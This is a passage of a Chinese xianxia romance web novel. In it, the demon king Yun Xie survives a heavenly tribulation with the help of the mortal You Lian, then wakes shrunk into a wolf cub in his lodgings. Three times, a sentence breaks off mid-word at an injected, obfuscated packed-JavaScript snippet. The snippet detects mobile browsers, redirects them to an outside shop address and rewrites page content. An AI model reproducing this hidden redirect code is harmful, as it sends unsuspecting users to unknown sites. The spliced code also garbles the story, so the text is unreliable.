长鞭游蛇,长满倒刺,丈内障碍如数清除。但,双拳难敌四手。漏出长鞭所到范围的鬼影越来越多,力所不及,很快,将眉是青逼至门槛前。 长鞭阻力几不能承受,又一只鬼爪探来时,眉是青毫不意外。 从来唯利是图的眉老板就是要挣得这一线生机,电光火石间,眉是青闪过数个念头:大爷的,忘记交代遗产处置了。呸呸呸,说什么不吉利的话。天杀的丹洗妖王,最好不要让我见到她,不然、不然…… 没等她想到不然什么,鬼爪阴影顷刻盖到头顶。 那阴影几乎刺进眉是青眼中,几乎感觉到痛感,然而毫无征兆,鬼爪一僵,似被不可见的手掌掐住,猝然爆成齑粉。 爆体声轰进耳中,震得眉是青一退。然而还有另一种声音。 破空声。捅穿头顶天穹的破空声。 眉是青猛地抬头上望。 一柄重剑从天而降,割破眼中遮天蔽日的黑潮,直直拄进庙前地面尺深。剑气一荡,霎时间,数丈内鬼魂皆被绞杀一空。 风声忽密,眉是青被掀得倒退,撞回门内。符篆熄火,灰烬反淹了她一头脸。 正背起箩筐抱起狗的阿笙连忙过来扶起她,转头见此突变异象,直接吓得扶门软倒:“老老老老板,我的天娘天爷啊,这又是什么鬼来了——” 眉是青回答不了他,只掩面往外看去。 鬼潮被剑气截断,碎成漫天黑雾嚎叫,靠近不了庙前三丈。 逼退鬼潮的那柄重剑仍然拄在那里,锲地三尺,锈蚀斑斑,豁口皲裂,青烟盘绕。 骤然,青烟一聚,凝作一道扶剑单膝而跪的身影。 迷眼的飞沙走石中,眉是青看见一面鲜艳如血的红披风,狂风中飞荡着,系在那具青铜黯淡的甲胄背后。 那具甲胄缓缓站起,双手扶上剑柄,背对她,面向憧憧而来的无数鬼影。 眉是青听见那位煞神声音。 蒙在银面之下,低哑,咬字奇异,猖狂得无以复加: “我倒是真想瞧一瞧,今夜,谁能越过我这把剑。” 49. 缘劫(7) 云歇掉入了幻境。 幻境。 不然怎么解释,上一刻她明明身处电闪雷鸣包围之中,此时却坐在这里。 这是一间很宽敞的屋子,明光从门窗雕花照进,亮堂堂,暖洋洋。似乎是一间寝室,山水屏风隔出内外间,外间格局竟和梧桐院里的东厢房很是相似,只是要再大上许多,奢华许多。同样,靠窗摆了一张长榻。 云歇此时,便是坐在长榻上。一睁眼,将所处地方瞬息扫过一遍,一垂目,看到面前的小碗。 碗里,盛着清澈的碧绿的汤水,满满当当,又呛又辣又辛。 “……” 哪里来的臭东西。 下一刻有人说出她心中所想:“看着就难喝。” 听见这一声,云歇一怔。 无它,盖因说话声音熟悉至极,是她自己的声音,也出自她的嘴巴。但她明明没想说话。似乎是不小心将脑袋里想到的话脱口而出,连自己都没反应过来。 这么想了一想的功夫,却听到另一个声音响起:“你还没喝,怎么就知道难喝了。” 云歇抬头,看向对面。 对面隔架小几坐着一个人,并非她心中所想的那个人。 是一个少年,穿着黑衣,身形修长,肩臂撑起的衣衫轮廓宽而薄,显出青涩。他大马金刀坐着,红色袖带紧紧箍住手腕,一手支腮,一手拿只喝空的小碗滚来滚去、颠来颠去地把玩着。 “你瞧,我都喝完一碗了,你的还满着。快喝啊。”他声音含笑,沙沙的,音质介于少年与青年之间,边说边将小碗倒给云歇看,似乎很是高兴的模样。 似乎。 云歇看不清他的脸。 少年面貌照在日光中,太过耀眼,模糊一片。只能看见一大把乌发在他脑后吊起一束高马尾,红绸带扎紧,少年意气极其昂扬爽利。切切与另一人大相径庭。 云歇挪开眼,不再看了。 这一错眼,余光瞥见旁侧的白墙。墙边立着兵器架,架上立着一杆红缨枪。枪刃银白锋利,黑杆磨得发亮,用了许多年的架势,同时精心护养。 屋里的山水屏风、长榻小几、陈设摆饰都透露着主人家的雅致文气,唯有这杆红缨枪破开几分杀意凛凛。格格不入,又本该如此。 幻境,多是大能历劫或遭受所不能承受之时,神志松懈生造出的假象。多少大能于幻境中一举斩灭心魔得道,更多的是被心魔反噬,自此与大道无缘。 然而幻境遇到的就一定是心魔吗?不一定。 但有一点确信,幻境里头什么都是假的。 云歇鲜少进入幻境,一来至今未有令她不可抵抗之劫数,二来她宁愿清醒着看自己或敌人崩塌。鲜有的一二回,是神思一闪,坐去环山崖或大瀑布下,长钟回声,天地皆空。也只是一刹那罢了。 经验太少,眼前景象让云歇有些回不过神。 难道,所有人见到的幻境都是如此的事无巨细、细致入微吗? 手指抚上小几边角,阳光温暖而真切地传达到指尖。这些人,来这里,看什么,问什么,求什么呢? 视线中,同样搁在小几上的另一人的手指敲了几下,跃跃欲试,又下定什么决心,一把握去茶壶把手。 少年倒一杯,壮士断腕的架势,仰头又灌了一杯,同时将云歇面前小碗推得更近,诱哄说:“真的真的,很好喝。快喝,试一下。” 想骗我喝,先管管你自己的表情。 念头刚浮起,紧接着,这句话再次被云歇说了出来。 少年拍案哈哈大笑起来,道:“你就依我一回又能怎样?” “不怎样。” “好啊好啊。满世间再找不到比你残忍无情的、的的——”的半天,他的不出下文。 一来二去,云歇终于觉察到某种奇异的违和感。 想法是自己的想法,嘴是自己的嘴,声音也是自己的声音。但是开口说话的动作却不是自己所控制的。 就像是,她的魂魄困住另一个躯壳里,形同傀儡,身后扯着她的几根线,决定着她的一切行为动作。 云歇试图掌控这具躯壳。 失败了。 她可以感觉到这具身体里有极澎湃的灵力流转,虽不及她,却也是极充沛了。然而,连开口说话闭嘴沉默的动作都做不出来,又怎么能指望这些灵力能为她所用呢?眼下,只有思想是属于她的。 少年百般花招出尽,不仅没得逞,反而自己喝空大半壶茶,捧肚子无奈摇头:“你可真难骗啊。得,我也不是第一天知道了。” 骗?怎么最近这么多人想骗她。 空空的小碗又在那只薄长手掌中盘玩着滚来滚去了,装着对坐人一肚子倒不出的坏水。 果然,静不下一会儿,他又说话了:“你好冷淡,等我一个不小心死了,怕是看不到你为我掉一两滴眼泪。难为你我这么多年的情分,我好可怜。” 少年人语声哀叹,唱戏一样,双手往胸前作势捧破碎的心。虽然云歇看不到,但他的表情定是做作又狡黠,斜着双眼睛偷瞧她反应,半点称不上可怜的。 “胡说八道。” 这一句轻斥并非云歇所想,而是这具躯壳自己说出。话一出,不知这边又摆出了什么表情,少年做作情态当即收敛。 他得逞似的,不自觉夹带求饶,倾身靠过来,软着语调说话:“好啦好啦,骗你的。祸害遗千年嘛,像我这样的,不说千年,遗个七八百年的一点问题没有。” 凑得这样近,鼻息可闻,却是更看不清了。 窗边摆的不知名花枝斜下影子横过少年眉眼,鼻骨高窄,底下一点殷红唇色,天生多情地往上挑:“奇了怪了,虽然你不常笑,冷不丁摆这个表情给我看,还挺唬人。不过,我很高兴。” 高马尾与少年咬在舌尖的尾音柔软地拂过耳边,云歇闻到他襟口一点香味,清得如高山风,混进晒久的阳光,陌生而熟悉。 熟悉? 正这时,一阵铿锵有力的擂鼓声自窗外传来,少年听闻,一下敛笑,翻身下榻,一把抓起红缨枪。 一连串动作,带起一阵清脆的叮铃叮铃。云歇追着望过去,原是他腰间挂的一串铃铛。黄豆粒大小,五六粒串根红线,正随着少年动作蹦跳不停,清脆作响。 三两步健步如飞,那道挺拔身影踏出门口,忽然,他回头。 大片阳光泼洒襟袖,勾勒出侧颜起伏的眉眼鼻唇一线,转到正脸,又是模糊一片了。 少年边跑边蹦着倒退,满身泼出的朝气灿烂,不住招手喊道:“云歇,等我下晌带你去隔壁偷鸡,咱们烤了吃。可别跟之前一样跑远了,听着点儿声。等我回来!” 云歇。 他竟然叫出她的名。 当真是,再真实不过的一场幻境。 叮铃声随那一抹艳艳发带转去拐角,听不见了。 一阵风过,又是当啷几声,云歇抬头,看见窗檐挂了几只铁马。一垂眸,小几上一盏满,一盏空。 再抬眼,狰狞雷电当头劈来。 * 数不清是第几道天雷。 痛不痛,也分不清了。云歇感觉不到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914553|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的手,感觉不到自己的脚,甚至分不清身在何处。只剩一线意识,细若游丝,险之又险,飘摇在天翻地覆之中。 这滋味,她经历过数回,每过一劫,就意味着向叩问天门又近一步。 天道岂能容忍任何凡尘之物脱离它的控制,甚至妄图与它比肩。所以,只有置之死地。 方圆数十里的戈壁尽被夷平,地面陷进一个大坑,云歇席地坐在坑底中心处。 一道白衣掠近。 “我当是谁。”白无常站在坑沿,扶着“一见生财”的高帽,伸长脖子使劲凑近瞧,“昨夜观天象便知有大能历劫,可巧,生死簿上有个名字闪了好几回,我正好路过来看看是谁生了天大的胆子,敢跟阴曹抢人。原来是你。” 黑无常道:“竟然又是你。” 云歇置若罔闻,趁此时雷劫蓄势不再降下,闭目调息。 白无常围着转了小半圈,啧啧出声:“有道是,没有霹雳手段,莫行菩萨心肠。我今天算是见识到了。可即便你丹洗妖王有何等通天修为,一而再,图什么呢?” 云歇瞥他手上一眼:“你终日为十殿阎罗卖命,连根勾魂索也没能换新的,又是图什么?” 这一眼。白无常下意识手往背后藏,牵起地底一阵隆隆声。 正是被云歇一剑斩断的那根勾魂索,此时用片黑布勉强绑在一起,随白无常来勾魂。 “你——”白无常一噎,好没面子,“我好心劝解你,你这样说话,真真是狗咬吕洞宾。” 少顷,白无常笑出声:“也难怪,你总妄想为凡人改命,失败一次,仍不悔改。业债加身,这回雷劫的滋味可不一般。如何?我瞧你已是到了强弩之末。” 等不到应答,白无常捡了颗小石头朝坑底丢过去,被云歇周遭盘旋的罡风搅成飞沫。无动于衷,好没意思。然而丹洗妖王的笑话百年难得一见,白无常看得够痛快。黑无常催道:“崔氏女时辰已到,别浪费时间。” 世间苦难皆在天地股掌之间。 黑白无常身影一消失,穹顶爆裂又起,比前头任何一次都震响,摧枯拉朽降临。 雷劫万顷之力的威压之下,云歇手掌发颤,再无法撑起任何一丝一毫的法盾以做抵挡。正如白无常所说,此次劫数非同一般,而她已到强弩之末。 那又如何? 肉身抵挡,也是她胜。 雷光劈到眼前,数丈高的狂风沙墙席卷而来,云歇咽下一声叹息,闭上眼。 预料中的撞击剧痛没有到来。 只有轻又暖的风,撞了上来。 响天彻地的轰鸣之后,世界归于平静,耳中长久嘶鸣。 不知多久的空茫之后,云歇听到另一种声音。由无到有,由小渐大,终于使她听见。 咚,咚,咚。 像鼓声,像雷声,但轻得多,近得多。太近了,近到敲着她的心脏开始同频鼓动。即便是雷声,也是时序混乱、毫无杀伤力的春雷。 睁开眼,漫天的金色梵文正在破碎消散。 有人拼尽全力,用这样华丽脆弱的东西做成罩子,愚不可及,螳臂当车,替她挡下天劫最后一击。 竟然当真挡下。 对方喘息声急如骤雨,近在咫尺,满是劫后余生、失而复得的狂喜,和痛楚。 太痛了,痛到没有知觉,神思仍游荡在一线钢丝上。 身体被密不透风地紧紧箍住。 也唯有这样的方式,呼吸、心跳、温度,全数不容分说地将她一同扯入漩涡。 云歇闻到他衣襟上似曾相识的味道。 50. 乌折(1) 泗水源起西域外,攀折山脉,溯戈壁荒原,流经三千里,入东海。江河冲沙成原,属晋国封地,名为澧县。澧县南边有一小镇,依山傍水,盛产花果,名为乌折陵。 陵为丘,即是丘地上辟出的小镇。因此,乌折陵中街巷高低错落。站在街头把头一仰,一路望到山坡上的巷尾,其间酒幌招摇,食肆笼屉揭起白烟,两旁瓜果鲜妍,红色的桃、青色的李堆在大大小小的箩筐里冒出尖、滚落地。 夏至三庚,天高云阔。时常一阵雨水,浇湿脚踩的青石格子砖,带起阵暑气土腥味,绞进行人匆忙避往屋檐下的薄衣衫。 酒香饭香,脂粉香,果子香,掂在秤砣声吆喝声里漫飘整日,直到天擦黑才渐渐消停。趁着西天晚霞披彩衣,街坊邻居三三两两挤在巷尾的大树下乘凉。 这两日树下乘凉的人格外多些,去得晚,犄角旮旯也挤不进。 今日的冯二嫂子便是,急匆匆哄睡幺儿,紧赶慢赶,还是来晚了。相熟的让出半屁股板凳,还没坐下,眼睛直往牌坊门靠里那处白墙黛瓦不住瞅。 “王家院里住进个后生。”许大娘摇大蒲扇,“长得可俊。” 才来看热闹的一知半解:“多俊?是亲戚么?之前没听说过呀。” “不认识的。说是路上遭匪了,哎哟满身血,敲门时候人站都站不稳,把王婶子吓的。啧啧啧,可怜见的。”又一个知晓些许内情的脑袋凑过来。 小镇上居民互相知根知底,好不容易有点新鲜事,一传十,十传百。屋檐交错,递瓜子方便。底下开档的缺个斤少个两被人掀了摊子,楼上一溜窗户全开,探出一排脑袋。 这等情势下,关于王家院子来了个面生的俊俏后生一事,人是晚上到的,隔天天还没亮就传开了。全镇不至于,但远近三四条街通通听说了。 可不就是你霸墩子,我搬凳子,人挤人往王家院子紧闭的大门前伸脖子。 “不都是长得两只眼睛一个鼻子。”冯二嫂子不以为然,“再俊,能俊过前头教书的李先生么,门槛遭媒婆踩烂几回,没定下来。好看顶什么用,挑得很!” “话不是这么说,选花瓶还要选称花好看的。”其他人反驳,“再说——” 再说不出来,树下熙熙攘攘的声骤然静了。 有人沿着坡道一级一级走上来,乌发白衣,缓带轻飘。 大家伙赶紧东张西望,十分忙碌,脑袋各自转别处去,余光却不约而同往同个方向瞄。 许大娘举扇喊人:“游小哥,买东西回来了噻。” 缓步经过的颀长身影顿住,转过头,视线定住人,昳丽而苍白的面上微微勾起唇角,道:“是。” “买了什么,瞧你拎了好多东西咯。” “一些果子点心,还有几个铃铛。”说着,人走上来,往石桌搁下一小提绳网兜的果子,白里透红挂着点点水珠,“桃子很新鲜,街坊们分着吃一点。” 各自忙碌的大家伙一下不忙了,纷纷推拒:“这怎么好意思,留着自己吃噻。” “就是,太客气了呀,来者是客,我们还没好好招待你呢。” “游小哥哪里人噻,听口音不像我们本地的。” 你一言我一语,霎时把初见的那点陌生局促吵到天外。被话头围在正中心的人但笑不语,哪一句问话也不应。人说话,他就垂着双明亮的眸子注视你,笑意不深不浅,比桃子上沾的水珠还易逝,更动人。 把人看得一愣一愣的。 忽然,他受不住风似的,低头掩口轻咳了一声,。 “好了好了。”许大娘挥着大蒲扇左赶右赶,“有你们这么问人的吗,逼人上吊追命一样,上吊还要喘口气,人家病着咧。” 众人如梦方醒,纷纷让路。 吱呀一声,王家黑木大门开了又合。树下一众仍是鸦雀无声,只听大蒲扇呼啦呼啦地扇风。 面面相觑后,都盯住先前说好看顶什么用的那位,冯二嫂子呐呐张口:“长得是有鼻子有眼的哈。” 一句话出,纷纷附和:“花瓶也好噻,看着让人心情好。不仅长得好,说话好听,做事也好。” “可不是,可不是。怪不得浑身血呼啦的忒吓人,王婶子能让人借住。” “就是身子骨瞧着瘦些,风吹要倒。” “就他一个人么,没见着有人在旁边照顾,可怜的咧。” —— 王家在街头开个猪肉档,天不亮出摊,生意好的话下晌就能归家。今天回来早,王婶子正在厨房里拉风箱生火,等着锅开下油炒菜,听见门响,边往围裙擦油腻腻的手边转出来。 院里跳格子玩的王家二儿子今年十岁,接过点心兜子不住欢呼,粘在刚进门的人身旁喜滋滋地转。 王婶子使杀猪刀的手掌厚实,一拍自己崽子头顶,说:“怎么又花钱买吃的,上次你买给他的糖还没吃完呢。” 客人已经往里头屋子走,边推门边说:“没关系,顺路买的。” 王家是两进的院子,外院旁侧开了个小门,里头小院僻静,一间柴房一间客房。客房久没待客,堆满杂物,还是前两天夜里王家汉子紧忙收拾了出来,勉强可以住人。 客人对于简陋的环境毫不挑剔,昏暗烛火下推过来一枚金灿灿的金元宝,温声道谢。对此,王家夫妇两人又是惊又是怕。搁谁半夜被敲门声惊醒,打开门见着个血淋淋的人影,哪有不怕的。 也就是杀猪杀得多见血见多,再一听是遇上劫匪受伤,二人勉强摁下惊吓,又被钱财迷了眼。但两天相处下来,客人实在太过知礼,不知是哪户富庶家的公子哥落难。伤得似乎挺严重,整日待在房里,常常听见咳嗽声。不仅没添乱,反倒让人生出愧疚。 对于这个极为和善,却也极有距离感的客人,王婶子总怕冒犯人家,话也捡着文雅些的招呼道:“饭菜快做好了,可要一起吃一些?” 也只是得到客人温和而疏离的拒绝:“不用了,多谢婶子。” 外头的树下喧哗,隔墙王婶子揪孩子耳朵的吵闹,一并跟着屋门一合,小声下去。 天暗下,墨蓝色的穹顶盖到屋檐窗隙,出门时留的蜡烛烧下半截,暖暖地在铁盘上融了滩烛水。游莲把手上提的几兜东西一一放下。 整个屋里就只有烛火撑起的这方小桌是亮的。 寂静。 忽而,掺进一点叮铃叮铃。 游莲从买的一堆东西里翻出几颗小玩意,捻出来的时候带动里头包着的金属小球,清脆地撞来撞去。黄豆粒大小,洒了满桌。 他倚窗坐下,指尖捻着,一粒一粒捏在灯下瞧。要挑出心目中最完美无瑕的几颗。 约莫也是实在无聊。 等待的时候最无聊。 挑好了铃铛,又挑出根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942967|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红绳。穿一粒,打个结,一粒一粒地编进红绳里。红绳繁复地交织在修长指间,做过许多回一样的灵巧。长睫微垂,切碎他眸里专注的光芒。 少顷,编好的红绳随长指垂落椅侧,松散勾着,似掉非掉,摇了几摇,摇下一地叮铃叮铃,越摇越慢。 天幕从深蓝转为乌檀,遥远的月光望进来。 吱呀一声,没合拢的窗户忽然打得更开,凉丝丝的微风刮过鬓角。 有极其柔软的物什,带着些许重量,刷子似的从他头顶耳根脖子一路挠过去。似乎是从窗户进来的时候无处下脚,嫌人碍事,干脆踩着他进来了。 生生将他从假寐中踩醒。 游莲轻笑出声。 一睁眼,目光一搭,桌上蜡烛旁原本空落落的地方,团了一团黑影。 黑影不如何大,双掌合捧抱进怀里的大小,占据了小片桌面,睁着双同样黑漆漆的眼睛看他。 对视半晌,游莲手背往眼睛上一放,略是无奈道:“你今天回来得好晚。” 回应的只有寂静。 他也习惯了,坐直起身,说:“我猜你肯定是找不到路,是不是找了好久?” 这话都不需问出来,为着对方面子着想,游莲尾音稍稍上扬,以作礼貌的疑问。可他眼里亮晶晶的笑暴露了本心,以至于伸手过去时,被恶狠狠挠了一下。 恶狠狠。皮都没破。游莲毫不将手背乍现的几道红痕放在眼里。 剪刀一落,烛火腾起,落上一身如绸缎般丝滑油亮的,皮毛。 蓬松一小团兽影,稳稳端坐在桌角。太小了,会被人当作刚出生三四个月的狗崽,抱进怀里唉哟唉哟蹂躏的体型。但是它注视人的眼睛,又极其的目空一切、睥睨傲慢。 而这样的反差感,让观者想放肆蹂躏的心只增不减。 游莲总经不住这种诱惑,将手中红绳往小兽脖颈松松一绕,带起阵叮铃叮铃,“你戴上这个,无论去哪儿我都能听见声音,找到你。怎么样?” 不出意料被甩开。 他毫不在意,反手往自己手腕一绕,绳结一扣,刚刚好,“那就我戴,你听声儿来找我,总行了吧?反正你的耳朵比我灵。” 说着灵,手指一顺,就势往那柔软立起的毛绒绒耳朵尖尖爬。对方已生警惕,喉咙闷出低咆。 但怎么说呢,虎落平阳被犬欺。 狼也是。 这样的战争两日来发生过大大小小数十场,无一例外,都以妖王的壮烈失败惨淡收场。 食指又添一枚深刻见骨的齿印勋章,游莲抱着怀里扑腾不休的小东西往后一仰,倚墙犯懒。 “明明你也很喜欢我。总比躺那些冷冰冰硬邦邦的桌子床板舒服多了,对不对?” 指尖慢耙,从圆乎乎的小狼头顶耙到背,毛绒绒手感顺滑得不可思议,顺到蓬松的大尾巴根。这里是禁区,再摸下去,就不是破点皮流点血的代价了。游莲识趣转向,重又耙到小耳朵尖尖。 这样一个来回,怀里窝着的一小团开始发出不自知的咕噜声。到这个时候就要千万小心了,因为它一旦自知,就会恼羞成怒,随机逮着哪里咬哪里磨牙。 游莲嘶嘶着求饶开始躲,忽然,噗嗤一声,笑得前俯后仰。 “我做梦也没想到,你会变成这样。” 岂止是他做梦没想到,云歇不做梦也没想到。 51. 乌折(2) 一个雷劈下来,天塌了。 至今为止,云歇对着四个爪仍不知作何表情。当然,她也做不出表情,脸上全是毛。 早知道会变成这样,还不如当时就就让雷劈得粉身碎骨,灰飞烟灭。 也好过,也好过—— 这样小的爪子,这样羸弱灵力干涸的躯壳,云歇摘尽自己庞大久远的记忆,没找到自己曾经是这模样的时候。 得多小,难道,是她未开灵窍之前吗? 脚下踩的这人还在笑。 云歇恨不得一口咬死他算了。谁知一口叨上去,他皮没破,反倒把她牙尖差点崩断。 算是知道了,现在只适合吃软饭。 加上他的衣裳中看不中用,又凉又滑,滑不溜丢,爪垫撑在上面站都站不稳,一个使力就四脚开滑。劈了个叉。 云歇:“……” 肚子整个砸上他胸膛发出扑一声响的时候,云歇整个脑袋都是懵的,一股热气直冲灵台。 岂止是肚子,颜面也碎了个干净。 死了算了。 忽然,游莲笑声一止,咳了几声,胸膛震颤。像是被踩中伤处,咳得连带着趴他身上的小狼一起震。 云歇默默收爪。 凡人之躯抵挡天劫,即便有法盾护体,照样直贯灵窍,足以令他去掉半条命。 是以,王家汉子开门见满身血呼啦的人。全是他脏腑受损吐出的血,将白衣浸了。流了这样多的血,勿怪人家险些喊有鬼。 这两日泰半时间待在屋里,也不是别的,只因他确实伤重难行。 铃铛叮铃叮铃,随游莲往云歇脊背梳毛的动作清脆地响,红绳细细勒进那一段冷白手腕。另一手掩口轻咳,袖子一落,露出一截黑色。 熟悉的味道。 一条黑色带子,从他手腕层层缠到虎口,刚刚被宽大袖口落下遮住了,此时他抬手才露出来。 云歇抬头去闻,看得更真切些。 游莲往后躲,边用手背隔开凑近来嗅闻的濡湿鼻子,边道:“对,是你的。你现在要绑哪儿呢,等你……我就还给你。好吗?” 游莲手上绑的,的的确确就是云歇的发带,在她踏进虚空引开雷劫之时,被他扯掉了。 竟然被他拿去绑在自己身上。 但正应了他的话,拿回来绑哪里呢? 尾巴吗? 这个念头一兴起,立即被云歇丢到九霄天外。 发带一圈圈缠在别人手上,浸得全是他的味道,把原先的盖得差不多。不知怎的,云歇还是想拿回来,怎样都好,反正不能继续绑他身上。 用嘴咬,用爪挠,好不容易扯松一小缝隙。结果,他揉上耳尖尖的手一把薅上来,往脑袋一盖。力道不大,一下把云歇摁进衣裳窝里。 这下好了。不仅带子,云歇眼前,鼻腔里,肺腔里,霎时全吸满他的味道。清清冷冷,不知名香,混着些许腥锈味。 云歇被这名叫游莲的水池子泡没了脾气。 他忍俊不禁,边咳边不住笑。 桌子的烛火更暗了,咳声渐止。 云歇使劲从他掌心拔出脑袋,看见游莲一低眸,一滴鲜红从左眼下沁出,滑到眼尾。 他觉察到凉意,抬手揩下,看一眼,拿帕子擦了。云歇看见雪白帕子上的一点红,对方再次伸向蜡烛的手指,蹭过她鼻尖,血腥味更重。 这两天他身上的血味没淡过。 游莲目下的红线,平滑得像是与生俱来的胎记,他自己也说是。却每每令云歇觉得,是一道伤口。 不然,怎么每次受伤都会裂开呢? 另外,她后来已离开数百里之外,他是怎么找过来的,为什么要舍命替她挡下雷劫。或许没他插手,她也沦落不到现在这个境地。诸如此类的问题账目,和这根发带一样,暂且不能物归原主,只能搁置下来。 在发现张嘴只能发出嗷呜、嗷嚎这种声音后,云歇再没尝试过开口。眼前这家伙自然又是乐不可支了好一阵儿,并多次试图撬她的嘴巴。 夜风起了,隔墙传来的锅碗瓢盆刷洗、孩童玩闹声渐渐消停。 趁他拨亮烛芯的间隙,云歇蹬着他滑不溜秋的衣裳,尾巴一甩,胡乱踩着人腰腹往下,蹬到腿上,借力一跃,跳到地上。 终于脱出了受制于人的境地。 冷不丁,视线矮到出奇。四周物什都是高高的,高高的四根桌子腿杵在地上,旁边是高高的椅子腿。云歇这两天摸爬滚打出些窍门,借着两条椅子腿横插的杆子,又是一个借力,跳踩上椅面,转了两圈,弯腿坐下。 一抬眼,旁边人支着腮一错不错地看着她,嘴角含笑。 游莲看完全程,说:“你刚才把我当杆子爬了。” 哼。 云歇哼不出声,冷漠地看着他。 他坐着,迎头罩下好大一片阴影。 随后站起,烛火在他手上摇摇晃晃地撑起一小片光晕,挪到床旁,放下。修长人影站在床前,背对着,解了腰封,拨下襟口,旁若无人般将月白外袍脱了,随手搭去旁边的衣架子上。 这人好洁净,从第一回旺财拿被褥烧火的时候,云歇就知道。穿的衣裳去过外面,哪怕不沾灰,只坐了一下屋里椅子,也上不了他的床。更别提不相干的闲杂人等,通通扫地出门。 满屋子就这么大,他又把烛火拿走,只照那么一小片。云歇看他脱衣,解发,只着一身雪白单衣往床上一坐,长长的乌黑的发拢下肩头。 烛光静谧,他侧过脸,第一次问:“你要到床上睡吗?” 真是好有礼貌。 云歇在心里狠狠哼了好大一声。 前两个晚上他可是半点不问,仗着她无法反抗势单力薄,拎起来就往床上扔。云歇拔腿要跑,游莲反手将被子一扯,四个角一包,困得严严实实。 他长手长脚,怡然自得,被角密不透风。真就成了个溺死人的水池子,任云歇如何翻腾,拱不出游莲的五指山。 被迫在他怀里趴了两个晚上之久,这会儿竟然想起来要问了。 真是太有礼貌了。 云歇不开口,坐在原地,以冷漠的目光无声谴责床上那人。 游莲不以为耻,说:“因为你绝对不会到床上睡。” 知道就好。 他抚胸一咳:“总不能让我一个伤患躺地上吧?你于心何忍。” 云歇可能忍了。继续沉默。 “但是按你现在的情形,能打坐,能入定吗?不能,你的身体需要恢复,睡觉可以让你更快地恢复精气神,何必浪费时间。” 那又如何,有的是地方睡觉。 “我知道有的是地方,但是你真的想睡这些硬邦邦冷冰冰的桌子椅子吗?还是地上?” 话落,游莲站起,向仍固执坐在椅子上的小小毛绒团团走去,半蹲下来,与之平视。 他以着循循善诱的口吻说:“云歇,我们要不要诚实一点。” 哪里不诚实了? 这句话想到一半,被云歇狠狠摁了下去。 晚了,游莲得逞似的,轻轻一笑:“现在。” 几乎是云歇想法出现的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006683|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,这人就会自然而然地接上话,唱独角戏唱得不亦乐乎,好似早已看透她心中一切所想。 所以他是怎么从自己这张长满毛、只有眼睛嘴巴会动的脸上看出来区别的呢? 云歇不明白,问不了,懒得计较。 虽是平视,但是现在的躯壳太弱小,云歇微微仰头。游莲的睫毛平直而长,烛火下,纤长的阴影斜扫下鼻梁,他皮肤又白,目下一缕红线尤其诡艳。 他问:“前两夜那样,你觉得讨厌吗?” 没有回答。 “你就当我伤重,怕冷。前两夜那样做你既不喜欢,今夜我便问一问。若是你讨厌,不勉强。”游莲声音缓缓,叹息一般,“云歇,你知道的。寄人篱下,形势所迫。” 说完这些,游莲安静下来。 云歇以为他还要扯些别的,他总是这样,不达目的誓不罢休。但是没有。 他起身,踅去面盆架子那里,掬水声哗哗。而后重走回到床边,脱靴躺下盖被。一小阵叮铃叮铃过后,彻底安静下来,剩床头一盏烧剩一小截的蜡烛。偶尔风过,一两点噼啪火星溅开。 乌折陵依山傍水,四季分明。虽是入夏,一到夜里,窗外刮进的风仍带凉气。 木椅硬得慌,云歇坐累了,蜷起爪子就地趴下来。 椅子虽高,离床上还是有点距离。烛火只照着床头一小片,影影绰绰见着被子拱出一小座山,躺着的人泰半隐在暗处,看不见脸,呼吸平缓,似是已经睡去了。 这场景与云歇预料的大相径庭。 按前两夜,这会子她应该被某个厚颜无耻的家伙硬生生挟持上床,硬要陪睡才对。虽然对方不过问意见,用心极其冒犯,但谁叫她一时落难,胳膊拗不过大腿,只得勉为其难,躺在香香又暖暖的被窝里,当是照看伤患了。 怎么现在,就剩张冷板凳了? 不是,他为什么要问呢? 幸而人还算良心未泯,在桌子上留下一块厚垫子,四四方方,软软乎乎。云歇迈着四只小短腿,哼哧哼哧,爬上桌子,换去垫子上趴着。眼睛一眨不眨,盯着床上。 她从没睡过这么小的床,一翻身就要掉下去,还算不上床呢。 床被人占了。 谁让人是个伤患呢。 谁还不是个伤患了。她也是伤患呀。灵力干涸,缩成这么小只,随便被人拎来揪去的,还不够伤吗? 夜已深了,万籁俱寂。 桌上垫子空了,只剩一个凹陷,两边翘起,孤零零晾着。 云歇站在地上,仰头看床,半天没抬脚。 倒不是跳不上去,只是万一一个不小心,又把人踩吐血了怎么办?找落脚点吧,看不到。 踟蹰之际,叮铃几下响,云歇心头猛地一跳,天上伸下一只手。修长白皙,筋骨分明,腕上系着条红线。 那道她以为沉睡的气息浮在头顶,带着熟悉的笑意:“我帮你。” 合着在这儿等着她呢。 临阵脱逃不是云歇脾性,干脆迎难而上。 